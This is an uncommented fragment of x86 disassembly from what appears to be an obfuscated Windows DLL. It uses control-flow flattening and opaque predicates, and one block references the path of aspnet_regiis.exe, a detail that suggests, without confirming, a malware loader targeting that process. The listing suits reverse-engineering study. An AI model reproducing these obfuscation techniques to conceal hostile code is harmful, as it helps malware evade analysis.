xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd07afb18
mov ecx, 0x14d64ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov dword [ebp - 0x154], 0x194c917b
jmp 0x1000e53b
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
mov edx, ecx
add edx, 0x24b63a77
sub edx, 1
sub edx, 0x24b63a77
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf6f9e929
mov ecx, 0xa94a8535
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
add edx, 0xcbd5f507
sub edx, 1
sub edx, 0xcbd5f507
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf6f9e929
mov ecx, 0xe098c878
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
add edx, 0xaaf3dc37
sub edx, 1
sub edx, 0xaaf3dc37
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x217e6e4
mov ecx, 0xccbabb65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x154], 0x7c822a34
jmp 0x1000e53b
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x154], 0x4eb86a40
jmp 0x1000e53b
mov dword [ebp - 0x154], 0xbd163df1
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfbcb39ce
mov ecx, 0xcb0cb3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x154], 0xfb623910
jmp 0x1000e53b
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x154], 0x4dc0bd64
jmp 0x1000e53b
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x148]
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
mov edx, eax
add edx, 0x360e8567
sub edx, 1
sub edx, 0x360e8567
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x71e6431a
mov ecx, 0x29f4c800
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [0x10070488]
mov ecx, dword [0x10070484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa9b527ed
mov ecx, 0x272888c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x154], 0x54920c24
jmp 0x1000e53b
mov eax, dword [ebp - 0xe8]
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
mov edx, ecx
add edx, 0xb9ce17cb
sub edx, 1
sub edx, 0xb9ce17cb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x43e109da
mov ecx, 0x99fbd9a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov dword [ebp - 0x154], 0x9b46bfa0
jmp 0x1000e53b
mov ecx, dword [0x10070488]
mov eax, dword [0x10070484]
mov edx, ecx
add edx, 0x17b04ad8
sub edx, 1
sub edx, 0x17b04ad8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x555f3825
mov ecx, 0xc72315b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000e53b
mov dword [ebp - 0x154], 0xd18b108c
jmp 0x1000e53b
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x154], 0x379bb8b9
jmp 0x1000e53b
mov eax, dword [ebp - 0x134]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x154], 0x9a807685
jmp 0x1000e53b
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x154], 0xf6780e2a
jmp 0x1000e53b
mov dword [ebp - 0x154], 0x3ad11619
jmp 0x1000e53b
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x154], 0x20bfb6c6
jmp 0x1000e53b
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x154], 0xc5018fb9
jmp 0x1000e53b
mov dword [ebp - 0x154], 0x8fb03255
jmp 0x1000e53b
jmp 0x100079b0